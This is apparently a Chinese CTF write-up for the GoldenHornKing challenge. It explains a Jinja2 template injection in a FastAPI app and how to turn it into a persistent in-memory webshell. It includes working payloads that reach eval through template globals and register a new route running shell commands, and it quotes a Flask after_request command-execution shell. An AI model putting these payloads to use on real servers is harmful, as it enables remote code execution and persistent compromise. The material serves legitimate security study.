主要是根据巅峰极客2024GoldenHornKing
首先进入题目给出了源码
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
{"app": app})
access = True
return result # 返回计算结果
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8000)
我们可以看到是一个基于FastAPI 的简单 Web 应用
一共两个路由,根目录就是返回我们的源码
/calc
路由 (ssti
函数):接收一个字符串参数 calc_req
,然后会有一个waf吧,首先不能有数字,然后%也被禁用了,弹shell是不需要思考了的
然后将其作为模板字符串通过 Jinja2 进行渲染
但是没有返回我们的渲染结果,而且渲染完成后还要把我们的access设置为True,意为着
后续的 /calc
请求将被拒绝,返回 "bad char"
那相当于我们只有一次机会,其实种种特征都是在暗示我们打python的内存马
以前是学过flask的内存马的,基本的构造逻辑还是知道的,添加路由,构造处理方法,解决传参问题,构造回显
其实仿照我们的flask内存马思路,我们寻找可以添加路由的函数
可以发现还是挺多的,我们仔细看看
add_route
def add_route(
self,
path: str,
route: typing.Callable[[Request], typing.Awaitable[Response] | Response],
methods: list[str] | None = None,
name: str | None = None,
include_in_schema: bool = True,
)
path都明白,然后处理方法应该就是我们的
route,但是有个问题,就是这个route还需要Request和Response,我是翻了半天没有翻到的
然后就是我们的add_api_route
def add_api_route(
self,
path: str,
endpoint: Callable[..., Coroutine[Any, Any, Response]],
*,
response_model: Any = Default(None),
status_code: Optional[int] = None,
tags: Optional[List[Union[str, Enum]]] = None,
dependencies: Optional[Sequence[Depends]] = None,
summary: Optional[str] = None,
description: Optional[str] = None,
response_description: str = "Successful Response",
responses: Optional[Dict[Union[int, str], Dict[str, Any]]] = None,
deprecated: Optional[bool] = None,
methods: Optional[List[str]] = None,
operation_id: Optional[str] = None,
response_model_include: Optional[IncEx] = None,
response_model_exclude: Optional[IncEx] = None,
response_model_by_alias: bool = True,
response_model_exclude_unset: bool = False,
response_model_exclude_defaults: bool = False,
response_model_exclude_none: bool = False,
include_in_schema: bool = True,
response_class: Union[Type[Response], DefaultPlaceholder] = Default(
JSONResponse
),
name: Optional[str] = None,
openapi_extra: Optional[Dict[str, Any]] = None,
generate_unique_id_function: Callable[[routing.APIRoute], str] = Default(
generate_unique_id
)
重点的参数就是path和endpoint
Callable[..., Coroutine[Any, Any, Response]]
:这个类型提示表示 endpoint
应该是一个可以被调用的对象,它返回一个协程对象,该协程最终会产生一个 Response
对象。
那其实就是一个正常的函数逻辑,我们还是按照flask的内存马,设置一个匿名的函数
现在的问题就是获取app了
其实emm获取的方法太多了,首先获取global才是当务之急,我们知道这是一个jinja2,那就很多了比如我们的
namespace.__init__.__globals__
然后获取app,就是先获取我们的main
main是模块里面的,先获取moudle,然后moudle又可以从sys获取
namespace.__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")
然后就是写添加路由的逻辑和代码了
paylaod如下
namespace.__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app.add_api_route(path='/lll',endpoint=lambda :__import__('os').popen('whoami').read())")
可以看到成功
但是有个缺点就是不能很自由的输入参数,然后我去挖掘了很久,没有什么收获
我的思路是这样的,要么我去找到这个对应的request对象,然后控制参数,或者我能控制这个response对象,让他返回的内容是固定的
类似于我看到过的一个paylaod
(app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp))
然后我找了好久的request对象都没有找到,当然是找到了一些没有作用的
后来想过
("import('request')")
直接引入,但是思考后觉得不可以,因为我的request是当前这个请求的request,不随便引入就能解决的,最后也没有办法